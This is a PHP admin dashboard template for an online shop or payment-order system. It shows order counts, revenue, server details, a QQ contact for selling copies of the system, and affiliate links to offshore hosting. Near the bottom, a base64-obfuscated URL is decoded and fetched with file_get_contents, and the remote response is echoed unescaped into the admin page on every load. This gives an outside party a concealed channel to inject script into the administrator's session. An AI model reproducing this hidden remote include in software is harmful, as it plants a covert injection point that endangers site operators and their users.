<?php require_once 'header.php' ?>
    <style>
        .bf {
            font-size: 2em
        }

        .main_content .panel {
            text-align: center
        }

        .main_content
        .panel:hover .panel-body {
            background: #f1f1f1
        }

        .main_content .panel .panel-footer {
            color: #fff
        }

        .main_content
        .panel .panel-footer a {
            color: #fff
        }

        .main_content a .bf {
            color: #E43D40
        }

        .main_content
        .panel-info .panel-footer {
            background: #39ABD2;
        }

        .main_content .panel-warning
        .panel-footer {
            background: #FFA600
        }

        .main_content .panel-danger .panel-footer {
            background: #D9534F
        }

        .main_content .panel-success .panel-footer {
            background: #328061
        }
    </style>
    <h3>
        <span class="current">
            管理首页
        </span>
    </h3>
    <br>
    <div class="main_content">
        <div class="row">
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a href="<?php echo $this->dir ?>/orders">
                    <div class="panel panel-info">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $nowDay ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            今日订单数
                        </div>
                    </div>
                </a>
            </div>
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a>
                    <div class="panel panel-info">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $nowMoney ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            今日营业额
                        </div>
                    </div>
                </a>
            </div>
            <div class="col-md-3  col-sm-6 col-xs-6">
                <a href="<?php echo $this->dir ?>/orders?status=1">
                    <div class="panel panel-info">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $dcOrder ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            待处理订单
                        </div>
                    </div>
                </a>
            </div>
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a href="<?php echo $this->dir ?>/orders?status=3">
                    <div class="panel panel-info">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $okOrder ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            已完成订单
                        </div>
                    </div>
                </a>
            </div>

        </div>
        <div class="row">
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a href="<?php echo $this->dir ?>/orders">
                    <div class="panel panel-danger">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $ctOrder ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            总订单
                        </div>
                    </div>
                </a>
            </div>
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a href="<?php echo $this->dir ?>/orders">
                    <div class="panel panel-danger">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $ctMoney ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            总营业额
                        </div>
                    </div>
                </a>
            </div>
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a href="<?php echo $this->dir ?>/goods">
                    <div class="panel panel-danger">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $ctGoods ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            商品数
                        </div>
                    </div>
                </a>
            </div>
            <div class="col-md-3 col-sm-6 col-xs-6">
                <a>
                    <div class="panel panel-danger">
                        <div class="panel-body">
                            <span class="bf">
                                <?php echo $ctime ?>
                            </span>
                        </div>
                        <div class="panel-footer">
                            运营天数
                        </div>
                    </div>
                </a>
            </div>
        </div>

    </div>
    <br>
    <div class="col-md-12">
        <div class="panel panel-info">
            <div class="panel-heading ">

                <h3 class="panel-title">
                    服务器信息
                </h3>

            </div>
            <div class="panel-body">
                <table class="table table-hover">
                    <thead>
                    <tr>
                        <th>
                            名称
                        </th>
                        <th>
                            详情
                        </th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                        <td>搭建</td>
                        <td><a href="http://wpa.qq.com/msgrd?v=3&uin=551962171&site=qq&menu=yes" target="_blank" ><img border="0" src="http://wpa.qq.com/pa?p=2:366802485:51" alt="同款系统搭建" title="同款系统搭建"/>551962171</a></td>
                    </tr>
                    <tr>
                        <td>接定制</td>
                        <td>网站开发，支付监听app</td>
                    </tr>
                    <tr>
                        <td>免备案云主机推荐</td>
						 <td><a href="https://www.7e.hk/?u=DE5130" target="_blank" >香港云主机A 点击购买</a>95折扣优惠券6C0CB0</td>
                    </tr>
                    <tr>
                        <td>免备案云服务器推荐</td>
                        <td><a href="https://my.hxkvm.com/flag/6456" target="_blank" >云服务器A 点击购买</a></td>
                    </tr>
                    <tr>
                        <td>免备案虚拟主机推荐</td>
                        <td><a href="https://www.vpsor.cn?userCode=hhd235" target="_blank" >虚拟主机A 点击购买</a></td>
                    </tr>
                    <tr>
                        <td>服务器时间</td>
                        <td><?php echo  date("Y年n月j日 H:i:s")?></td>
                    </tr>
                    <tr>
                        <td>当前ip地址</td>
                        <td><?php echo  $_SERVER['REMOTE_ADDR']?></td>
                    </tr>
                    <tr>
                        <td>最大运行时间</td>
                        <td><?php echo   ini_get("max_execution_time") ?>秒</td>
                    </tr>
                    <tr>
                        <td>当前系统版本</td>
                        <td><?php echo  $version ?> </td>
                    </tr><p class="btn-danger">
                        	<i class="fa fa-credit-card"></i> 声明：本程序仅供学习交流,正规等合法使用。利用本程序从事任何违反中国法律法规的行为产生法律纠纷自行承担后果,由此引起的一切后果与（程序作者）无关！
                        </p>
                    </tbody>
                </table>
            </div>
        </div>	
		<?php echo file_get_contents(base64_decode("aHR0cHM6Ly93d3cubGFpbGl5dW4uY29tL3l1bmdnLw==")); ?>
    </div>



<?php require_once 'footer.php' ?>


